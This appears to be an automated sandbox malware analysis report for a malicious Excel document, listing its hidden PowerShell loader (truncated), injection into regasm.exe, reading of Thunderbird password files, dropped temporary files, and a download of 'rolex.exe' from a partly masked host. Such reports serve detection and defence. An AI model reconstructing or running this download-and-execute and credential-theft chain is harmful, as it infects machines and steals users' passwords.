Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function re4d6 {param($p9a2af)$o733d61='o3d35ff';$s1f37e='';for ($i=0; $i -lt $p9a2af.length;$i+=2){$zd9e8=[convert]::ToByte($p9a2af.Substring($i,2),16);$s1f37e+=[char]($z...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe
Reads files which store third party applications passwords
- %APPDATA%\thunderbird\profiles.ini
Modifies file system
Creates the following files
- %TEMP%\uvagxcl1.0.cs
- %TEMP%\opx0r5iq.0.cs
- %TEMP%\cjnpmfne.dll
- %TEMP%\res8ff9.tmp
- %TEMP%\csc8fe9.tmp
- %TEMP%\cjnpmfne.out
- %TEMP%\cjnpmfne.cmdline
- %TEMP%\cjnpmfne.0.cs
- %TEMP%\5lky0xsq.dll
- %TEMP%\opx0r5iq.out
- %TEMP%\res7acb.tmp
- %TEMP%\csc7abb.tmp
- %TEMP%\5lky0xsq.out
- %TEMP%\5lky0xsq.cmdline
- %TEMP%\5lky0xsq.0.cs
- %TEMP%\_6f2gwan.dll
- %APPDATA%\ee545.exe
- %TEMP%\res2f2c.tmp
- %TEMP%\cscaac4.tmp
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{0635a608-5b83-4c43-8881-c92985b20fc9}.tmp
- %TEMP%\otwazdvd.dll
- %TEMP%\res374.tmp
- %TEMP%\csc373.tmp
- %TEMP%\otwazdvd.out
- %TEMP%\res50be.tmp
- %TEMP%\opx0r5iq.cmdline
- %TEMP%\hl8dpp8n.dll
- %TEMP%\resc9f5.tmp
- %TEMP%\cscc9e4.tmp
- %TEMP%\hl8dpp8n.out
- %TEMP%\hl8dpp8n.cmdline
- %TEMP%\hl8dpp8n.0.cs
- %TEMP%\opx0r5iq.dll
- %TEMP%\otwazdvd.0.cs
- %TEMP%\resaaf4.tmp
- %TEMP%\csc50ad.tmp
- %TEMP%\_6f2gwan.out
- %TEMP%\_6f2gwan.cmdline
- %TEMP%\res722.tmp
- %TEMP%\csc11fe.tmp
- %TEMP%\e_wwp3rf.out
- %TEMP%\e_wwp3rf.cmdline
- %TEMP%\e_wwp3rf.0.cs
- %TEMP%\ozmufuub.dll
- %TEMP%\res751.tmp
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %TEMP%\e_wwp3rf.dll
- %TEMP%\csc740.tmp
- %TEMP%\csc711.tmp
- %TEMP%\ozmufuub.out
- %TEMP%\ozmufuub.cmdline
- %TEMP%\ozmufuub.0.cs
- %TEMP%\uvagxcl1.out
- %TEMP%\uvagxcl1.cmdline
- %TEMP%\uvagxcl1.dll
- %TEMP%\otwazdvd.cmdline
- %TEMP%\evkn3qte.0.cs
- %TEMP%\csc2529.tmp
- %TEMP%\evkn3qte.cmdline
- %TEMP%\_6f2gwan.0.cs
- %TEMP%\ygdch8z4.dll
- %TEMP%\res3e9d.tmp
- %TEMP%\csc3e8d.tmp
- %TEMP%\ygdch8z4.out
- %TEMP%\ygdch8z4.cmdline
- %TEMP%\evkn3qte.out
- %TEMP%\ygdch8z4.0.cs
- %TEMP%\res120f.tmp
- %TEMP%\csc2f1b.tmp
- %TEMP%\oulaisof.out
- %TEMP%\oulaisof.cmdline
- %TEMP%\oulaisof.0.cs
- %TEMP%\evkn3qte.dll
- %TEMP%\res2539.tmp
- %TEMP%\oulaisof.dll
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Deletes the following files
- %TEMP%\res722.tmp
- %TEMP%\cjnpmfne.0.cs
- %TEMP%\cjnpmfne.cmdline
- %TEMP%\cjnpmfne.pdb
- %TEMP%\cjnpmfne.dll
- %TEMP%\csc8fe9.tmp
- %TEMP%\res8ff9.tmp
- %TEMP%\5lky0xsq.pdb
- %TEMP%\5lky0xsq.0.cs
- %TEMP%\5lky0xsq.cmdline
- %TEMP%\5lky0xsq.out
- %TEMP%\5lky0xsq.dll
- %TEMP%\csc7abb.tmp
- %TEMP%\res7acb.tmp
- %TEMP%\_6f2gwan.0.cs
- %TEMP%\_6f2gwan.out
- %TEMP%\_6f2gwan.dll
- %TEMP%\_6f2gwan.pdb
- %TEMP%\csc50ad.tmp
- %TEMP%\_6f2gwan.cmdline
- %TEMP%\cjnpmfne.out
- %TEMP%\resaaf4.tmp
- %TEMP%\otwazdvd.dll
- %TEMP%\otwazdvd.out
- %TEMP%\otwazdvd.pdb
- %TEMP%\csc373.tmp
- %TEMP%\res374.tmp
- %TEMP%\hl8dpp8n.pdb
- %TEMP%\hl8dpp8n.out
- %TEMP%\hl8dpp8n.cmdline
- %TEMP%\hl8dpp8n.dll
- %TEMP%\oulaisof.0.cs
- %TEMP%\cscc9e4.tmp
- %TEMP%\resc9f5.tmp
- %TEMP%\opx0r5iq.cmdline
- %TEMP%\opx0r5iq.dll
- %TEMP%\opx0r5iq.pdb
- %TEMP%\opx0r5iq.out
- %TEMP%\opx0r5iq.0.cs
- %TEMP%\cscaac4.tmp
- %TEMP%\res50be.tmp
- %TEMP%\ygdch8z4.dll
- %TEMP%\ygdch8z4.0.cs
- %TEMP%\e_wwp3rf.dll
- %TEMP%\csc11fe.tmp
- %TEMP%\res120f.tmp
- %TEMP%\ozmufuub.0.cs
- %TEMP%\ozmufuub.out
- %TEMP%\ozmufuub.dll
- %TEMP%\ozmufuub.pdb
- %TEMP%\ozmufuub.cmdline
- %TEMP%\uvagxcl1.cmdline
- %TEMP%\uvagxcl1.dll
- %TEMP%\uvagxcl1.0.cs
- %TEMP%\uvagxcl1.pdb
- %TEMP%\uvagxcl1.out
- %TEMP%\csc740.tmp
- %TEMP%\res751.tmp
- %TEMP%\csc711.tmp
- %TEMP%\e_wwp3rf.out
- %TEMP%\e_wwp3rf.cmdline
- %TEMP%\e_wwp3rf.0.cs
- %TEMP%\e_wwp3rf.pdb
- %TEMP%\ygdch8z4.out
- %TEMP%\res2539.tmp
- %TEMP%\ygdch8z4.cmdline
- %TEMP%\ygdch8z4.pdb
- %TEMP%\csc3e8d.tmp
- %TEMP%\res3e9d.tmp
- %TEMP%\oulaisof.pdb
- %TEMP%\oulaisof.out
- %TEMP%\oulaisof.cmdline
- %TEMP%\hl8dpp8n.0.cs
- %TEMP%\otwazdvd.cmdline
- %TEMP%\csc2f1b.tmp
- %TEMP%\res2f2c.tmp
- %TEMP%\evkn3qte.dll
- %TEMP%\evkn3qte.0.cs
- %TEMP%\evkn3qte.cmdline
- %TEMP%\evkn3qte.pdb
- %TEMP%\evkn3qte.out
- %TEMP%\csc2529.tmp
- %TEMP%\oulaisof.dll
- %TEMP%\otwazdvd.0.cs
Network activity
TCP
HTTP GET requests
- http://st######ta-7971.lovepop.jp/rolex.exe
UDP
- DNS ASK st######ta-7971.lovepop.jp
Miscellaneous
Creates and executes the following
- '%APPDATA%\ee545.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function re4d6 {param($p9a2af)$o733d61='o3d35ff';$s1f37e='';for ($i=0; $i -lt $p9a2af.length;$i+=2){$zd9e8=[convert]::ToByte($p9a2af.Substring($i,2),16);$s1f37e+=[char]($z...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC9F5.tmp" "%TEMP%\CSCC9E4.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hl8dpp8n.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESAAF4.tmp" "%TEMP%\CSCAAC4.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\opx0r5iq.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8FF9.tmp" "%TEMP%\CSC8FE9.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cjnpmfne.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7ACB.tmp" "%TEMP%\CSC7ABB.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5lky0xsq.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES50BE.tmp" "%TEMP%\CSC50AD.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_6f2gwan.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3E9D.tmp" "%TEMP%\CSC3E8D.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ygdch8z4.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2F2C.tmp" "%TEMP%\CSC2F1B.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\oulaisof.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2539.tmp" "%TEMP%\CSC2529.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\evkn3qte.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES120F.tmp" "%TEMP%\CSC11FE.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\e_wwp3rf.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES751.tmp" "%TEMP%\CSC740.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES722.tmp" "%TEMP%\CSC711.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ozmufuub.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\uvagxcl1.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\otwazdvd.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES374.tmp" "%TEMP%\CSC373.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES374.tmp" "%TEMP%\CSC373.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\otwazdvd.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC9F5.tmp" "%TEMP%\CSCC9E4.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hl8dpp8n.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESAAF4.tmp" "%TEMP%\CSCAAC4.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\opx0r5iq.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8FF9.tmp" "%TEMP%\CSC8FE9.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cjnpmfne.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7ACB.tmp" "%TEMP%\CSC7ABB.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5lky0xsq.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES50BE.tmp" "%TEMP%\CSC50AD.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_6f2gwan.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ygdch8z4.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2F2C.tmp" "%TEMP%\CSC2F1B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\oulaisof.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2539.tmp" "%TEMP%\CSC2529.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\evkn3qte.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES120F.tmp" "%TEMP%\CSC11FE.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\e_wwp3rf.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES751.tmp" "%TEMP%\CSC740.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES722.tmp" "%TEMP%\CSC711.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ozmufuub.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\uvagxcl1.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3E9D.tmp" "%TEMP%\CSC3E8D.tmp"
- '%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe'
